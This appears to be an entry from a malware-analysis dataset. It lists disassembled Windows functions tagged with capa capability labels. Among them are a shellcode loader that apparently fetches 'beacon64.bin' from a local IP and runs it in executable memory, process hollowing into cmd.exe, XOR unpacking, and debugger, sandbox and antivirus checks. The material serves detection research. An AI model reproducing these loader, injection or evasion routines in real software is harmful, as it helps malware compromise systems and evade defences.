joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3746058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.037461a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x374607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x374606a
add dl, dl
jne 0x3746089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x37460dc
xor eax, eax
add dl, dl
jne 0x3746096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x374617d
add dl, dl
jne 0x37460a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x37460b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x37460bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x37460c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x37460d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x3746075
mov eax, 1
add dl, dl
jne 0x37460ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x37460f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x37460e1
sub eax, ebx
mov ebx, 1
jne 0x3746128
mov ecx, 1
add dl, dl
jne 0x374610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x3746119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x3746105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3746075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x374613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x374614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x3746136
cmp eax, 0x7d00
jae 0x374616d
cmp eax, 0x500
jb 0x3746168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3746075
cmp eax, 0x7f
ja 0x3746170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3746075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x374619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x3746075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401355
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x61a80
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], str.192.168.21.2
mov dword [ebp - 0x10], str.5003
mov dword [ebp - 0xc], str.beacon64.bin
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call section..text
add esp, 0x10
mov dword [ebp - 4], eax
push 4
push 0x3000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x404020], eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [0x404020]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x40
push dword [ebp - 4]
push dword [0x404020]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [0x404020]
xor eax, eax
leave
ret

Function at 0x401b20
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b5f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b5f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b5f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b5f
cmp dword [ecx + 0x74], 0xe
jbe 0x401b5f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4010e0
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebx
push esi
push edi
push 4
push 0x3000
mov esi, 0x1e5d70
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push eax
cmp eax, 0x11
je 0x4010ad
mov eax, eax
cld
test ecx, ecx
or eax, eax
clc
pop eax
test edi, edi
je 0x4010dc
nop
mov al, al
push 0xf1b30
push 0
push edi
call fcn.00423750
add esp, 0xc
push ebx
mov cl, cl
mov cl, cl
cld
pop ebx
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
ret
push 0
push 0x40
push 0x3000
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401108
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401088

Function at 0x401274
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00423750
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00423750
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x18
push 0x4399ec
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x4399f0
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x4399f4
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x4399f8
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x4399fc
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439a00
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x439a04
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a08
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a0c
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a10
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a14
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a18
lea eax, [ebp - 0x108]
push eax
call esi
push 0x439a1c
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp - 0x20c]
call fcn.00410b3d
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x401395
test cl, cl
je 0x401391
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x401395
add eax, 2
add esi, 2
test cl, cl
jne 0x401375
xor eax, eax
jmp 0x40139a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
lea esi, [ebp - 0x108]
call fcn.00410b0b
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4013c9
test cl, cl
je 0x4013c5
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4013c9
add eax, 2
add esi, 2
test cl, cl
jne 0x4013a9
xor eax, eax
jmp 0x4013ce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041cb4c
leave
ret

Function at 0x40147a
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
push ecx
mov ecx, dword [eax + 2]
mov dword [ebp - 4], ecx
pop ecx
leave
ret
Function at 0x40149d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0x4014db
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014e5
mov edi, dword [edi]
cmp edi, esi
jne 0x4014c9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0x4014e1

Function at 0x401656
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
xor edi, edi
push 0x104
mov dword [ebp - 0x62c], edi
mov dword [ebp - 0x628], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4017f9
push str.delays.tmp
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x624], edi
mov esi, 0xfffff
push edi
push 0x100
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x4017f9
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
pop ecx
pop ecx
push esi
call dword [sym.imp.msvcrt.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
push edx
push ebx
call fcn.00423750
add esp, 0xc
push edi
lea eax, [ebp - 0x628]
push eax
push esi
push ebx
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4017f9
cmp dword [ebp - 0x628], esi
jne 0x4017f9
push esi
push edi
push ebx
call fcn.00423750
add esp, 0xc
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x4000100
push 3
push edi
push edi
push SysReAllocString
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x4017f9
push edi
lea ecx, [ebp - 0x62c]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4017f9
cmp dword [ebp - 0x62c], esi
jne 0x4017f9
push esi
push edi
push ebx
call fcn.00423750
add esp, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x624]
cmp dword [ebp - 0x624], 0x3e8
jb 0x4016c0
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cb4c
leave
ret
xor eax, eax
jmp 0x4017ea
Function at 0x4047d9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x404837
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x404809
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x404a2f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x404a5f
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x404a6d
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041cb4c
leave
ret
Function at 0x406955
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.004103d1
lea eax, [ebp - 0x980]
push eax
call fcn.00404aa7
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x4359be
lea esi, [ebp - 0x8f8]
call fcn.0041039f
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x63fab8]
push dword [0x63f78c]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x63fb94]
test eax, eax
jne 0x4069dc
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b60
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x63fbb8]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b54
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x63f5d8]
push dword [ebp - 0x918]
push 0x436890
push dword [ebp - 0x8e8]
call dword [0x63fbf8]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b48
cmp esi, ebx
je 0x406a75
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x63f9b0]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x63fb80]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x63fc10]
test eax, eax
jne 0x406abd
push 0x436894
mov esi, dword [ebp - 0x8d8]
call fcn.0041039f
jmp 0x406b71
lea edx, [ebp - 0x104]
call fcn.004119b5
cmp eax, 0xc8
jne 0x406b9d
cmp esi, ebx
je 0x406b3c
mov edi, 0x7cf
jmp 0x406b1d
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b3c
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.004104c1
lea esi, [ebp - 0x8f8]
call fcn.00410445
mov eax, dword [ebp - 0x908]
call fcn.00402910
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x63fae0]
test eax, eax
jne 0x406ade
push dword [ebp - 0x8e0]
call dword [0x63fab4]
push dword [ebp - 0x8e8]
call dword [0x63fab4]
push dword [ebp - 0x8dc]
call dword [0x63fab4]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.004103d1
mov eax, dword [ebp - 0x8f8]
call fcn.00402910
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 0x18]
call fcn.00402910
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cb4c
leave
ret
push str.ERROR
jmp 0x406aad
Function at 0x407731
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00407ccd
add esp, 0x10
test eax, eax
jne 0x407751
xor eax, eax
inc eax
jmp 0x4077e7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4077e4
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4077e4
push dword [ebp + 8]
lea edi, [esi + 0x40]
push pe_nt_image_headers32
push eax
push edi
call fcn.00407ccd
add esp, 0x10
test eax, eax
je 0x407749
cmp dword [edi], 0x4550
jne 0x4077e4
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4077e4
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4077e4
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.00411a30
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4077b9
push 3
jmp 0x4077e6
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00407ccd
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4077e7
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40f402
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f4c8
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423750
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4355a5
push str.C:WindowsSystem32cmd.exe
call dword [0x63fa64]
test eax, eax
je 0x40f4c6
push edi
push 0x1000
push edi
push ebx
call dword [0x63fb20]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f4c6
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f4cd
push dword [ebp - 0x20]
call dword [0x63fbd4]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f527
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f4f0
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x63fbd4]
mov eax, dword [ebp - 0x1c]
jmp 0x40f4c8
Function at 0x4116bf
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42ed55
call fcn.0042ec49
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x431e30
push 1
push edi
push 0x431f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411829
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x435f08
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411822
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x41181c
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x41181c
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.0041160f
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x63fbc4]
push eax
call dword [0x63fb54]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x63f9d4]
add esp, 0x20
push edi
call fcn.0041039f
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411847
or dword [ebp - 4], 0xffffffff
jmp 0x41183d
push 0x435f3c
jmp 0x411842
push 0x435f44
jmp 0x411842
push 0x435f4c
call fcn.0041039f
mov eax, esi
call fcn.0042eca5
ret
Function at 0x41184f
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42ed3a
call fcn.0042ebdd
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x431e30
push 1
push edi
push 0x431f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411958
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x435fc0
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411951
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x41194b
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x41194b
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.00411bfa
pop ecx
push eax
call fcn.0041039f
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411976
or dword [ebp - 4], 0xffffffff
jmp 0x41196c
push 0x435fe0
jmp 0x411971
push 0x435fe8
jmp 0x411971
push str.Unknown
call fcn.0041039f
mov eax, esi
call fcn.0042ec82
ret

Function at 0x4123fb
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x43579b
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x43579e
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret